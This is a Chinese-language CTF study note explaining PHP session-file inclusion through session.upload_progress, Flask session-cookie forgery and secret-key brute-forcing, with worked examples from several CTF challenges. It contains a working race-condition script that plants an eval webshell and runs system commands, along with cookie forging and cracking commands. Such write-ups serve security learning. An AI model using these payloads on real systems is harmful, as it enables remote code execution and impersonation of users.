session简介:
浏览器访问服务器时,服务器创建的操作空间称为session
session 就是会话。它是用来维护一个客户端和服务器之间关联的一种技术。
每个客户端都有自己的一个 Session 会话。
cookie与session比较相似,
但是cookie是存储在客户端浏览器中的,
而session则是以文件的形式存储在服务端内存中
cookie会保存用户的操作信息,比如你浏览网站所打的文字或是一些选择,当你下次再次访问这个网站时,服务器根据你的cookie数据给你推送特定内容。
session主要保存用户当次浏览网页时的缓存信息,比如保存用户登录之后的信息
session文件包含漏洞
漏洞简介
Web系统有时会把我们的一些变量写入session文件,我们可以借此机制将PHP木马写入PHP文件中,然后使用文件包含来包含该session文件,以此获取目标系统的shell权限
php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
例题:
[第五空间 2021]EasyCleanup
源代码如下:
攻击点有两个,一个eval($shell)一个include
但是对传入的参数都有比较严格的限制,一般的rce比较麻烦
看一下phpinfo()
找到session的相关配置
session.upload_progress.enabled为on,说明开启session.upload_progress功能,这个功能会在我们上传文件时可以把文件上传进度和信息存储在session中。
session.upload_progress.cleanup为on,说明当文件上传结束后,php将会立即清空对应session文件中的内容。这里可以用条件竞争来绕过。
session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件,可以看到上传的文件存放再/tmp下
session.use_strict_mode关闭,说明用户可以自己定义自己的sessionid。我们在 Cookie 里设置 PHPSESSID=zzzz,则文件上传后会在/tmp目录下生成一个sess_zzzz的文件,即/tmp/sess_zzzz
此时php会自动初始化session,并产生一个键值,格式为配置文件中的session.upload_progress.prefix的值+我们上传的session.upload_progress.name的值此键值会写入session文件。该键值的格式应该为:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值
总结来说,就是在cookie里设置phpsessid的值,此值会接在sess_的后面一起做为文件名保存到session里,该文件的路径可以在session.save_path中看到,而session.upload_progress.prefix的值会与session.upload_progress.name的值(该值我们可以控制,在此植入木马)一起写入到该session文件中,
但是该session文件上传结束后就会被立即删除,此时需要用条件竞争来上传并读取
py条件竞争脚本:
import io
import requests
import threading
from cffi.backend_ctypes import xrange
sessid = '0'
target = 'http://1.14.71.254:28513/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)
if name == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): threading.Thread(target=write, args=(session,)).start()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
上传代码:
while True:
:这是一个无限循环,表示下面的代码将会持续执行
上传了表单PHP_SESSION_UPLOAD_PROGRESS值为<?php eval($_GET[“cmd”]);?>
上传了文件file:ph0ebus.txt,
其内容是f
这是是上传了两个文件
看别的wp说的
不晓得为啥
session伪造
简介:
session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。
flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
例题:
[LitCTF 2023]Flag点击就送!
提示我们要管理员
然后搞来搞去也没什么用
看到cookie里有session session=eyJuYW1lIjoiMSIsIm5zbWUiOiJhZG1pbiJ9.ZjNWuA.7n88WzRwWHwjjTp3pomQNDbRUmI
用base64将session的内容解码(也可以用脚本)
有特殊字符,有的base64解码工具可能解不出来,所以还是用脚本好一点
输出是json格式存储,还有一堆乱码,应该就是数据签名。
所以可以看出现在的name是1
我们要将name的值改为admin
即伪造一个新的session,其中name为admin,即{“name”: “admin”}
用python脚本构造
脚本文件名:flask_session_cookie_manager3.py
这个脚本比较有名,网上找一下就可以找到
我放在了D盘的ctf脚本下
在这个目录下打开终端
命令:
python 脚本名 encode -s ‘secret_key(密钥)’ -t ‘待加密的session值’
这里的密钥猜测为ctf的名称:LitCTF
所以命令为
python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'nsme': 'admin'}"
得到session
然后把cookie里的session改为这个新构造的就行
在hackbar里不行就用bp
但是好像是因为环境原因,我改了也不成功
还可以用这个脚本进行session解密
命令:
python flask_session_cookie_manager3.py decode -s 'secret_key(密钥)' -c '需要解密的session值'
session密码爆破
简介
很多时候session密码是不会告诉我们的,为了防止我们伪造session
我们可以利用python 中的 flask_unsign 模块进行爆破
flask_unsign 模块的作用是字典爆破加密cookie的密钥。
模块安装:
python -m pip install flask_unsign
python -m pip install flask_unsign_wordlist
使用命令:
flask-unsign –unsign –cookie “eyJ1c2VyIjoibmFtbWQifQ.ZoVy8w.N-RdEk6JRE6-D4NG10uc0I0RvIA” –wordlist key.txt
key.txt为爆破字典,需要放在该命令行同一目录下
例题
[MTCTF 2022]easypickle
密钥的生成规则:
app.config['SECRET_KEY'] = os.urandom(2).hex()
爆破字典生成:
import os
file_path = './key.txt'
with open(file_path, 'w') as f:
for i in range(1, 9999):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))
会生成一个key.txt
于是开始爆破:
flask-unsign –unsign –cookie “eyJ1c2VyIjoibmFtbWQifQ.ZoVy8w.N-RdEk6JRE6-D4NG10uc0I0RvIA” –wordlist key.txt
因为字典的内容有限,所以一次可能爆破不出来
此时需要删掉原来的字典,重新用exp跑一个,继续爆破
重复操作,直至爆破成功
如上图
密码为‘bf62’